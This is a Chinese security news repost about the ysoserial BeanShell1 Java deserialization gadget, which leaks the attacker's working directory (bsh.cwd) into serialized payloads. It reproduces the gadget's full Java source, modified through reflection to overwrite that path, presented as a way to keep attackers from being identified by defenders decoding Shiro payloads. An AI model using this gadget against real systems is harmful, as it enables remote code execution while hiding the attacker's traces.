选择你喜欢的标签
我们会为你匹配适合你的网址导航

    确认 跳过

    跳过将删除所有初始化信息

    您的位置:0XUCN > 资讯 > 安全
    新闻分类

    有一个gadget正在泄露你的ID

    安全 PRO 稿源:回忆如飘雪 2021-11-25 05:43

    0x01 背景

    在Java反序列化漏洞炙手可热的当下,许多自动化工具都在使用ysoserial的gadget。而这些gadget当中,有一个gadget正在偷偷泄露你的id — BeanShell1

    BeanShell1泄露当前运行路径

    这意味着经常使用shiro批量爆破gadget工具的小伙伴,蓝队同学可能解密下paylaod就能得到你的id了。


    0x02 定位信息泄露属性

    通过使用java-object-searcher搜索,找到敏感信息存储在bsh.NameSpace类的variables属性中。

    存储当前运行路径的属性

    通过阅读该类代码,发现只有setTypedVariable方法对variables进行put操作,在该处下断点。

    重新调式,看到当前运行路径被put进来后,顺着调用堆栈往上分析。发现BeanShell1Interpreter对象初始化时,调用bsh.Interpreter#initRootSystemObject设置了bsh.cwd值为当前运行路径,最终它被保存到了序列化数据中。

    获取当前运行路径


    0x03 构造干净的BeanShell1

    既然Interpreter对象通过setu方法存储了敏感信息,那么我们同样可以调用该方法将敏感信息覆盖掉,防止信息泄露。

    所以要构造一个干净的BeanShell1 gadget,只需要在Interpreter对象创建后反射调用setu方法覆盖bsh.cwd值为.(第13-15行代码)即可。

    @SuppressWarnings({ "rawtypes", "unchecked" })
    @Dependencies({ "org.beanshell:bsh:2.0b5" })
    @Authors({Authors.PWNTESTER, Authors.CSCHNEIDER4711})
    public class BeanShell1 extends PayloadRunner implements ObjectPayload<PriorityQueue> {
    
        public PriorityQueue getObject(String command) throws Exception {
            // BeanShell payload
            String payload = BeanShellUtil.getPayload(command);
    
            // Create Interpreter
            Interpreter i = new Interpreter();
            /***** 覆盖bsh.cwd,清空user.dir,防止信息泄露 *****/
            Method setu = i.getClass().getDeclaredMethod("setu",new Class[]{String.class,Object.class});
        	setu.setAccessible(true);
        	setu.invoke(i,new Object[]{"bsh.cwd","."});
        	/***********************************************/
    
            // Evaluate payload
            i.eval(payload);
    
            // Create InvocationHandler
            XThis xt = new XThis(i.getNameSpace(), i);
            InvocationHandler handler = (InvocationHandler) Reflections.getField(xt.getClass(), "invocationHandler").get(xt);
    
            // Create Comparator Proxy
            Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class<?>[]{Comparator.class}, handler);
    
            // Prepare Trigger Gadget (will call Comparator.compare() during deserialization)
            final PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, comparator);
            Object[] queue = new Object[] {1,1};
            Reflections.setFieldValue(priorityQueue, "queue", queue);
            Reflections.setFieldValue(priorityQueue, "size", 2);
    
            return priorityQueue;
        }
    
    }
    

    目前已经给ysoserial项目pr,等待官方修复。当然大家也可以使用我二次开发的ysoserial-for-woopecker

    给官方提的pr


    0XU.CN

    [超站]友情链接:

    四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
    关注数据与安全,洞悉企业级服务市场:https://www.ijiandao.com/

    图库
    公众号 关注网络尖刀微信公众号
    随时掌握互联网精彩
    赞助链接